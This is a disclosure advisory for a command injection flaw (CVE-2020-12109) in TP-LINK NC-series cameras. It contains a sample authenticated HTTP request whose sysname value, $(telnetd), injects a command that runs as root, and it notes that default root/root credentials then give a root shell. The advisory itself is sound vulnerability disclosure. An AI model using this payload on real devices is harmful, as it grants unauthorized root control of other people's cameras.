Vulnerability title: TP-LINK Cloud Cameras NCXXX Bonjour Command Injection
Author: Pietro Oliva
CVE: CVE-2020-12109
Vendor: TP-LINK
Product: NC200, NC210, NC220, NC230, NC250, NC260, NC450
Affected version: NC200 <= 2.1.9 build 200225, NC210 <= 1.0.9 build 200304,
                  NC220 <= 1.3.0 build 200304, NC230 <= 1.3.0 build 200304,
                  NC250 <= 1.3.0 build 200304, NC260 <= 1.5.2 build 200304,
                  NC450 <= 1.5.3 build 200304.

Fixed version:    NC200 <= 2.1.10 build 200401, NC210 <= 1.0.10 build 200401,
                  NC220 <= 1.3.1 build 200401, NC230 <= 1.3.1 build 200401,
                  NC250 <= 1.3.1 build 200401, NC260 <= 1.5.3 build_200401,
                  NC450 <= 1.5.4 build 200401

Description:
The issue is located in the swSystemSetProductAliasCheck method of the
ipcamera binary (Called when setting a new alias for the device via
/setsysname.fcgi), where despite a check on the name length, no other checks
are in place in order to prevent shell metacharacters from being introduced.
The system name would then be used in swBonjourStartHTTP as part of a shell
command where arbitrary commands could be injected and executed as root.

Impact:
Attackers could exploit this vulnerability to remotely execute commands as root
on affected devices.

Exploitation:
An attacker would first need to authenticate to the web interface and make a
request such as the following (the request contents might change slightly
between cameras):

POST /setsysname.fcgi HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/x-www-form-urlencoded
Cookie: sess=xxxxx
Content-Length: xxxx

sysname=$(telnetd)&token=xxxxx"

In a device where telnetd has not been removed from the release firmware (such
as NC200), this would spawn the telnetd deamon. Default root/root credentials
could then be used to obtain a root shell via telnet.

Evidence:
The disassembly of affected code from an NC200 camera is shown below:

sym.swSystemSetProductAliasCheck:

      0x0049f1cc   lui gp, 0xa
      0x0049f1d0   addiu gp, gp, -0x3ebc
      0x0049f1d4   addu gp, gp, t9
      0x0049f1d8   addiu sp, sp, -0x28
      0x0049f1dc   sw ra, (var_24h)
      0x0049f1e0   sw fp, (var_20h)
      0x0049f1e4   move fp, sp
      0x0049f1e8   sw gp, (var_10h)
      0x0049f1ec   sw a0, (alias_arg)
      0x0049f1f0   lw v0, (alias_arg)
      0x0049f1f4   nop
  ,=< 0x0049f1f8   beqz v0, 0x49f218
  |   0x0049f1fc   nop
  |   0x0049f200   lw v0, (alias_arg)
  |   0x0049f204   nop
  |   0x0049f208   lb v0, (v0)
  |   0x0049f20c   nop
 ,==< 0x0049f210   bnez v0, 0x49f224
 ||   0x0049f214   nop
 |`-> 0x0049f218   addiu v0, zero, 0x42f
 |,=< 0x0049f21c   b 0x49f258
 ||   0x0049f220   sw v0, (arg_18h)
 `--> 0x0049f224   lw a0, (alias_arg)
  |   0x0049f228   lw t9, -sym.imp.strlen(gp)
  |   0x0049f22c   nop
  |   0x0049f230   jalr t9
  |   0x0049f234   nop
  |   0x0049f238   lw gp, (arg_10h)
  |   0x0049f23c   sltiu v0, v0, 0x81
 ,==< 0x0049f240   bnez v0, 0x49f254
 ||   0x0049f244   nop
 ||   0x0049f248   addiu v0, zero, 0x430
,===< 0x0049f24c   b 0x49f258
|||   0x0049f250   sw v0, (arg_18h)
|`--> 0x0049f254   sw zero, (arg_18h)
`-`-> 0x0049f258   lw v0, (arg_18h)
      0x0049f25c   move sp, fp
      0x0049f260   lw ra, (var_24h)
      0x0049f264   lw fp, (var_20h)
      0x0049f268   jr ra
      0x0049f26c   addiu sp, sp, 0x28

swBonjourStartHTTP:

0x0043a008    addiu v0, fp, 0x20
0x0043a00c    move a0, v0
0x0043a010    addiu a1, zero, 0x88
0x0043a014    lw t9, -sym.swBonjourGetName(gp) ; <= get the system name in fp+20
0x0043a018    nop
0x0043a01c    jalr t9
0x0043a020    nop
0x0043a024    lw gp, (arg_10h)
0x0043a028    addiu v0, fp, 0x20               ; <= put ptr to name in v0
0x0043a02c    lw a0, -0x7fdc(gp)
0x0043a030    nop
0x0043a034    addiu a0, a0, 0xd10
; a0 => "mDNSResponderPosix -n \"%s\" -t _http._tcp -p %d -x path=/login.html &"
0x0043a038    move a1, v0                      ; <= a1 points to system name
0x0043a03c    lw a2, (arg_b0h)
0x0043a040    lw t9, -sym.cmCommand(gp)        ; Execute the command
0x0043a044    nop
0x0043a048    jalr t9
0x0043a04c    nop


Mitigating factors:
-NC210 Cameras have a filter for "bad chars". This means the payload cannot
contain any of the following characters: dot(.), at(@), dash(-), underscore(_),
whitespace( ), and single quote(').
-Some cameras do not ship with telnetd, so other methods such as using wget or
curl to download a payload from the network might be required to obtain a shell.

Remediation:
Install firmware updates provided by the vendor to fix the vulnerability.
The latest updates can be found at the following URLs:

https://www.tp-link.com/en/support/download/nc200/#Firmware
https://www.tp-link.com/en/support/download/nc210/#Firmware
https://www.tp-link.com/en/support/download/nc220/#Firmware
https://www.tp-link.com/en/support/download/nc230/#Firmware
https://www.tp-link.com/en/support/download/nc250/#Firmware
https://www.tp-link.com/en/support/download/nc260/#Firmware
https://www.tp-link.com/en/support/download/nc450/#Firmware

Disclosure timeline:
29th March 2020 - Vulnerability reported to vendor.
10th April 2020 - Patched firmware provided by vendor for verification.
10th April 2020 - Confirmed the vulnerability was fixed.
29th April 2020 - Firmware updates released to the public.
29th April 2020 - Vulnerability details are made public.